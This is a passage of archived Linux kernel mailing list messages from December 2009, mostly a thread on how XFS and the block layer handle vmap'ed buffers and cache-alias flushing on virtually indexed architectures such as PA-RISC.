	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 5464793717;
	Fri, 18 Dec 2009 11:01:44 +0100 (CET)
In-Reply-To: <20091218183353I.fujita.tomonori@lab.ntt.co.jp>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:929601 gmane.linux.ports.parisc:2469 gmane.linux.kernel.cross-arch:4908
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2469>

On Fri, 2009-12-18 at 18:34 +0900, FUJITA Tomonori wrote:
> On Fri, 18 Dec 2009 08:08:48 +0100
> James Bottomley <James.Bottomley@HansenPartnership.com> wrote:
> 
> > > Even if we have some potential users, I'm not sure that supporting
> > > vmalloc in the block layer officially is a good idea. IMO, it needs
> > > too many tricks for generic code.
> > 
> > So far, there's only xfs that I know of.
> > 
> > Given the way journalling works, it's not an unusual requirement to use
> > a large buffer for operations.  It's a bit of a waste of kernel
> > resources to have this physically contiguous, but it is a waste of
> > resources (and for buffers over our kmalloc max, it would even have to
> > be allocated at start of day), so I think large kernel virtual areas
> > (like vmap/vmalloc) have a part to play in fs operations.
> 
> Yeah, but now only XFS passes vmap'ed pages to the block layer. Isn't
> it better to wait until we have real users of the API?

XFS is a real user ... the XFS filesystem is our most trusted code base
that can break the 8TB limit, which hard disks are already at.  Ext4 may
be ready, but it's not universally present in enterprise distros like
XFS.

> > As to the API, the specific problem is that the block and lower arch
> > layers are specifically programmed to think any kernel address has only
> > a single alias and that it's offset mapped, which is why we get the
> > failure.
> 
> Yeah, however we can make a rule that you can't pass a vmap area
> (including vmap'ed pages) to the block layer. We can't make the rule
> effective for the past so XFS is the only exception.

We need something that works for XFS.  The next proposal works for the
current block API because the vunmap makes the xfs pages look like
standard kernel pages, which blk_rq_map_kern() will process correctly.

But, in principle, I think whatever fix is chosen, we shouldn't
necessarily discourage others from using it.

> > An alternative proposal to modifying the block layer to do coherency,
> > might be simply to have the fs layer do a vunmap before doing I/O and
> > re-vmap when it's completed. 
> 
> I'm not sure it's worth making the whole block layer compatible to
> vmap (adding complexity and possibly performance penalty).

This proposal has no block layer changes.  It just makes the XFS vmap
area look like a standard set of kernel pages ... with the overhead of
the page table manipulations on unmap and remap.

> If we really need to support this, I like helper APIs that the callers
> must use before and after I/Os.

If it's just this route, they already exist ... they're vmap and vunmap.

> > That would ensure the architecturally
> > correct flushing of the aliases, and would satisfy the expectations of
> > blk_rq_map_kern().  The down side is that vmap/vmalloc set up and clear
> > page tables, which isn't necessary and might impact performance (xfs
> > people?)
> 
> btw, I'm not sure that the existing blk_rq_map_* API isn't fit well to
> file systems since blk_rq_map_user and blk_rq_map_kern takes a request
> structure.

OK, so that was illustrative.  The meat of the change is at the bio
layer anyway (fss tend to speak bios).  But the point of *this*
particular proposal is that it requires no changes either in the blk_ or
bio_ routines.

James



From - Thu Nov 08 21:05:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 19:24:12 +0900
Lines: 30
Approved: news@gmane.org
Message-ID: <20091218192401D.fujita.tomonori@lab.ntt.co.jp>
References: <1261120128.3013.8.camel@mulgrave.site>
	<20091218183353I.fujita.tomonori@lab.ntt.co.jp>
	<1261130489.3013.41.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261131929 4994 80.91.229.12 (18 Dec 2009 10:25:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2009 10:25:29 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, jens.axboe@oracle.com,
	torvalds@linux-foundation.org, tytso@mit.edu, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	hch@infradead.org, linux-arch@vger.kernel.org
To: James.Bottomley@suse.de
Original-X-From: linux-arch-owner@vger.kernel.org Fri Dec 18 11:25:20 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLa1Q-0003c5-1N
	for glka-linux-arch@lo.gmane.org; Fri, 18 Dec 2009 11:25:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752005AbZLRKZO (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 18 Dec 2009 05:25:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751255AbZLRKZN
	(ORCPT <rfc822;linux-arch-outgoing>);
	Fri, 18 Dec 2009 05:25:13 -0500
Original-Received: from sh.osrg.net ([192.16.179.4]:51568 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750900AbZLRKZM (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Fri, 18 Dec 2009 05:25:12 -0500
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id nBIAOCi2024499;
	Fri, 18 Dec 2009 19:24:13 +0900
In-Reply-To: <1261130489.3013.41.camel@mulgrave.site>
Original-Lines: 30
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Fri, 18 Dec 2009 19:24:14 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.95.3 at sh
X-Virus-Status: Clean
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4909 gmane.linux.ports.parisc:2470 gmane.linux.kernel:929607
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2470>

On Fri, 18 Dec 2009 11:01:29 +0100
James Bottomley <James.Bottomley@suse.de> wrote:

> > Yeah, but now only XFS passes vmap'ed pages to the block layer. Isn't
> > it better to wait until we have real users of the API?
> 
> XFS is a real user ... the XFS filesystem is our most trusted code base
> that can break the 8TB limit, which hard disks are already at.  Ext4 may
> be ready, but it's not universally present in enterprise distros like
> XFS.

XFS already has the own code to handle that, which works fine (with
your patchset except for 5/6 for the block layer). Not much motivation
for XFS to move to the generic API?


> > > That would ensure the architecturally
> > > correct flushing of the aliases, and would satisfy the expectations of
> > > blk_rq_map_kern().  The down side is that vmap/vmalloc set up and clear
> > > page tables, which isn't necessary and might impact performance (xfs
> > > people?)
> > 
> > btw, I'm not sure that the existing blk_rq_map_* API isn't fit well to
> > file systems since blk_rq_map_user and blk_rq_map_kern takes a request
> > structure.
> 
> OK, so that was illustrative.  The meat of the change is at the bio
> layer anyway (fss tend to speak bios).

Yeah, I think so, it's up to Jens to add new APIs for vmap there.

From - Thu Nov 08 21:05:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 11:30:12 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <1261132212.3013.45.camel@mulgrave.site>
References: <1261120128.3013.8.camel@mulgrave.site>
	 <20091218183353I.fujita.tomonori@lab.ntt.co.jp>
	 <1261130489.3013.41.camel@mulgrave.site>
	 <20091218192401D.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261132239 6035 80.91.229.12 (18 Dec 2009 10:30:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2009 10:30:39 +0000 (UTC)
Cc: jens.axboe@oracle.com, torvalds@linux-foundation.org,
	tytso@mit.edu, kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, hch@infradead.org,
	linux-arch@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Dec 18 11:30:31 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLa6J-0005kh-H0
	for glka-linux-arch@lo.gmane.org; Fri, 18 Dec 2009 11:30:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752100AbZLRKaW (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 18 Dec 2009 05:30:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752303AbZLRKaV
	(ORCPT <rfc822;linux-arch-outgoing>);
	Fri, 18 Dec 2009 05:30:21 -0500
Original-Received: from cantor.suse.de ([195.135.220.2]:48239 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752100AbZLRKaS (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Fri, 18 Dec 2009 05:30:18 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 13AA193717;
	Fri, 18 Dec 2009 11:30:17 +0100 (CET)
In-Reply-To: <20091218192401D.fujita.tomonori@lab.ntt.co.jp>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4910 gmane.linux.ports.parisc:2471 gmane.linux.kernel:929609
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2471>

On Fri, 2009-12-18 at 19:24 +0900, FUJITA Tomonori wrote:
> On Fri, 18 Dec 2009 11:01:29 +0100
> James Bottomley <James.Bottomley@suse.de> wrote:
> 
> > > Yeah, but now only XFS passes vmap'ed pages to the block layer. Isn't
> > > it better to wait until we have real users of the API?
> > 
> > XFS is a real user ... the XFS filesystem is our most trusted code base
> > that can break the 8TB limit, which hard disks are already at.  Ext4 may
> > be ready, but it's not universally present in enterprise distros like
> > XFS.
> 
> XFS already has the own code to handle that, which works fine (with
> your patchset except for 5/6 for the block layer). Not much motivation
> for XFS to move to the generic API?

Right, but it's for completeness.  If we decide to allow vmap buffers,
then only supporting them on certain paths is a recipe for confusion in
a year's time when someone assumes we support vmap buffers on all block
paths; a bit like the current confusion over what we support ....

> > > > That would ensure the architecturally
> > > > correct flushing of the aliases, and would satisfy the expectations of
> > > > blk_rq_map_kern().  The down side is that vmap/vmalloc set up and clear
> > > > page tables, which isn't necessary and might impact performance (xfs
> > > > people?)
> > > 
> > > btw, I'm not sure that the existing blk_rq_map_* API isn't fit well to
> > > file systems since blk_rq_map_user and blk_rq_map_kern takes a request
> > > structure.
> > 
> > OK, so that was illustrative.  The meat of the change is at the bio
> > layer anyway (fss tend to speak bios).
> 
> Yeah, I think so, it's up to Jens to add new APIs for vmap there.

Agreed.

James



From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Chinner <david@fromorbit.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 23:00:22 +1100
Lines: 49
Approved: news@gmane.org
Message-ID: <20091218120022.GH4850@discord.disaster>
References: <alpine.LFD.2.00.0912170950330.15740@localhost.localdomain> <20091217193648.GI4489@kernel.dk> <1261094220.2752.27.camel@mulgrave.site> <20091218095944G.fujita.tomonori@lab.ntt.co.jp> <1261120128.3013.8.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261137643 22704 80.91.229.12 (18 Dec 2009 12:00:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2009 12:00:43 +0000 (UTC)
Cc: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	jens.axboe@oracle.com, torvalds@linux-foundation.org,
	tytso@mit.edu, kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, hch@infradead.org,
	linux-arch@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 13:00:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLbVa-0004BX-F4
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Dec 2009 13:00:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750799AbZLRMAd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2009 07:00:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750781AbZLRMAd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 18 Dec 2009 07:00:33 -0500
Original-Received: from bld-mail14.adl6.internode.on.net ([150.101.137.99]:45120 "EHLO
	mail.internode.on.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750773AbZLRMAc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2009 07:00:32 -0500
Original-Received: from discord (unverified [121.44.162.26]) 
	by mail.internode.on.net (SurgeMail 3.8f2) with ESMTP id 10455976-1927428 
	for multiple; Fri, 18 Dec 2009 22:30:29 +1030 (CDT)
Original-Received: from dave by discord with local (Exim 4.69)
	(envelope-from <david@fromorbit.com>)
	id 1NLbVO-0006k2-5z; Fri, 18 Dec 2009 23:00:22 +1100
Content-Disposition: inline
In-Reply-To: <1261120128.3013.8.camel@mulgrave.site>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2472 gmane.linux.kernel:929626 gmane.linux.kernel.cross-arch:4911
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2472>

On Fri, Dec 18, 2009 at 08:08:48AM +0100, James Bottomley wrote:
> On Fri, 2009-12-18 at 10:00 +0900, FUJITA Tomonori wrote:
> An alternative proposal to modifying the block layer to do coherency,
> might be simply to have the fs layer do a vunmap before doing I/O and
> re-vmap when it's completed. 

I don't think that works for XFS as it stands. Unmapping across
IO would have to guarantee we remap the buffer at the same
address after IO because we currently assume that mapped address
of the buffer can't change while references are held on the buffer.
That seems like an awful lot of complexity compared to the few lines
of code in XFS and the arches needed to support this.

> That would ensure the architecturally
> correct flushing of the aliases, and would satisfy the expectations of
> blk_rq_map_kern().  The down side is that vmap/vmalloc set up and clear
> page tables, which isn't necessary and might impact performance (xfs
> people?)

We play lots of tricks in XFS to avoid mapping buffers when we can
because of the performance impact it has.  Nick Piggin's recent
work getting vmap to scale helped a lot, but it is still best to
avoid mapped buffers where possible.

> If the performance impact of the above is too great, then we might
> introduce a vmalloc sync API to do the flush before and the invalidate
> after (would have to be called twice, once before I/O and once after).
> This is sort of a violation of our architectural knowledge layering,
> since the user of a vmap/vmalloc area has to know intrinsically how to
> handle I/O instead of having it just work(tm), but since the users are
> few and specialised, it's not going to lead to too many coding problems.
> 
> Any opinions?

Personally I see nothing wrong with the original patch series. If
the block layer mods are contentious, then just drop that patch
until a real need is brought to life.

Cheers,

Dave.
-- 
Dave Chinner
david@fromorbit.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tytso@mit.edu
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 09:17:32 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <20091218141731.GH2123@thunk.org>
References: <20091217163036.GE2123@thunk.org>
 <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
 <20091217173957.GG2123@thunk.org>
 <20091218091901J.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261145894 17612 80.91.229.12 (18 Dec 2009 14:18:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2009 14:18:14 +0000 (UTC)
Cc: torvalds@linux-foundation.org, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	James.Bottomley@suse.de, hch@infradead.org,
	linux-arch@vger.kernel.org, jens.axboe@oracle.com
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 15:18:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLdee-0003O2-SK
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Dec 2009 15:18:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753671AbZLROSD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2009 09:18:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753635AbZLROSB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 18 Dec 2009 09:18:01 -0500
Original-Received: from thunk.org ([69.25.196.29]:43504 "EHLO thunker.thunk.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752361AbZLROSA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2009 09:18:00 -0500
Original-Received: from root (helo=closure.thunk.org)
	by thunker.thunk.org with local-esmtp   (Exim 4.50 #1 (Debian))
	id 1NLdeC-0004u2-Kz; Fri, 18 Dec 2009 09:17:36 -0500
Original-Received: from tytso by closure.thunk.org with local (Exim 4.69)
	(envelope-from <tytso@thunk.org>)
	id 1NLde8-0001nI-1j; Fri, 18 Dec 2009 09:17:32 -0500
Mail-Followup-To: tytso@mit.edu,
	FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	torvalds@linux-foundation.org, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	James.Bottomley@suse.de, hch@infradead.org,
	linux-arch@vger.kernel.org, jens.axboe@oracle.com
Content-Disposition: inline
In-Reply-To: <20091218091901J.fujita.tomonori@lab.ntt.co.jp>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: tytso@thunk.org
X-SA-Exim-Scanned: No (on thunker.thunk.org); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2473 gmane.linux.kernel:929699 gmane.linux.kernel.cross-arch:4912
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2473>

On Fri, Dec 18, 2009 at 09:21:30AM +0900, FUJITA Tomonori wrote:
> 
> iSCSI initiator driver should work with kmalloc'ed memory.
> 
> The reason why iSCSI didn't work with kmalloc'ed memory is that it
> uses sendpage (which needs refcountable pages). We added a workaround
> to not use sendpage with kmalloc'ed memory (it would be great if we
> remove the workaround though).

Well, with a patch that I plan to be pushing that we have general
agreement that it is a block device driver BUG not to accept
kmalloc'ed/SLAB allocated memory, is one where ext4 will use
kmalloc'ed/slab allocated memory on occasion when it needs to make
shadow copy of buffers for journalling purposes AND when the fs block
size is smaller than the page size.  (i.e., no more allocating a 16k
page when the fs block size is 4k).  So this won't happen all the
time; even if the case of a 16k Itanium system with 4k blocks, the
bulk of the data won't be sent via kmalloc'ed memory --- just some
critical metadata block and some data blocks that need to be escaped
when being written into the journal.

I do think we need to document that block device drivers are
_expected_ to be able to handle kmalloc'ed memory, and if they can't,
#1 they should do a BUG_ON instead of corrupting user's data, and #2,
if they do corrupt data, we should send the angry users with corrupted
file systems to bang at the doors of the block device authors.

					- Ted




--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Sat, 19 Dec 2009 18:33:05 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20091219183305.GA10568@linux-mips.org>
References: <20091216043618.GB9104@hera.kernel.org>
 <20091217132256.GO28962@bombadil.infradead.org>
 <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain>
 <20091217163036.GE2123@thunk.org>
 <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
 <20091217170743.GA10431@infradead.org>
 <alpine.LFD.2.00.0912170928310.15740@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261247685 29205 80.91.229.12 (19 Dec 2009 18:34:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Dec 2009 18:34:45 +0000 (UTC)
Cc: Christoph Hellwig <hch@infradead.org>, tytso@mit.edu,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, linux-arch@vger.kernel.org,
	Jens Axboe <jens.axboe@oracle.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 19 19:34:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NM48T-0001Pc-CK
	for glpp-linux-parisc@lo.gmane.org; Sat, 19 Dec 2009 19:34:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753041AbZLSSeg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Dec 2009 13:34:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752992AbZLSSeg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 19 Dec 2009 13:34:36 -0500
Original-Received: from h5.dl5rb.org.uk ([81.2.74.5]:35233 "EHLO h5.dl5rb.org.uk"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751507AbZLSSef (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Dec 2009 13:34:35 -0500
Original-Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1])
	by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id nBJIXAQJ013918;
	Sat, 19 Dec 2009 18:33:10 GMT
Original-Received: (from ralf@localhost)
	by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id nBJIX61Q013917;
	Sat, 19 Dec 2009 18:33:06 GMT
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0912170928310.15740@localhost.localdomain>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2474 gmane.linux.kernel:930117 gmane.linux.kernel.cross-arch:4913
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2474>

On Thu, Dec 17, 2009 at 09:42:15AM -0800, Linus Torvalds wrote:

> 
> I also think that the changes to bio_map_kernel() and bio_map_kern_endio() 
> are not just "fundamentally ugly", I think they are made worse by the fact 
> that it's not even done "right". You both flush the virtual caches before 
> the IO and invalidate after - when the real pattern should be that you 
> flush it before a write, and invalidate it after a read.
> 
> And I really think that would be all much more properly done at the 
> _caller_ level, not by the BIO layer.
> 
> You must have some locking and allocation etc logic at the caller anyway, 
> why doesn't _that_ level just do the flushing or invalidation?

And then there are certain types of caches that need invalidation before
_and_ after a DMA transaction as a workaround for a processor being
grossly abused in a system that it should not be used in.  Basically the
issue is that falsly speculated stores may dirty caches.

  Ralf
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Sat, 19 Dec 2009 13:44:41 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20091219204441.GB7952@lackof.org>
References: <20091216213505.DE6EE537C@hiauly1.hia.nrc.ca> <4B2A82AA.10907@gmx.de> <119aab440912171239hf2ecc6fq86795f100a1e3fbc@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261255499 17221 80.91.229.12 (19 Dec 2009 20:44:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Dec 2009 20:44:59 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 19 21:44:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NM6AQ-0003Wc-R7
	for glpp-linux-parisc@lo.gmane.org; Sat, 19 Dec 2009 21:44:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753376AbZLSUon convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Dec 2009 15:44:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753382AbZLSUon
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 19 Dec 2009 15:44:43 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:50676 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753376AbZLSUom (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Dec 2009 15:44:42 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 5860D33E0008;
	Sat, 19 Dec 2009 13:44:41 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id KtjVLvyDD0oe; Sat, 19 Dec 2009 13:44:41 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 091CA33E0065; Sat, 19 Dec 2009 13:44:41 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <119aab440912171239hf2ecc6fq86795f100a1e3fbc@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
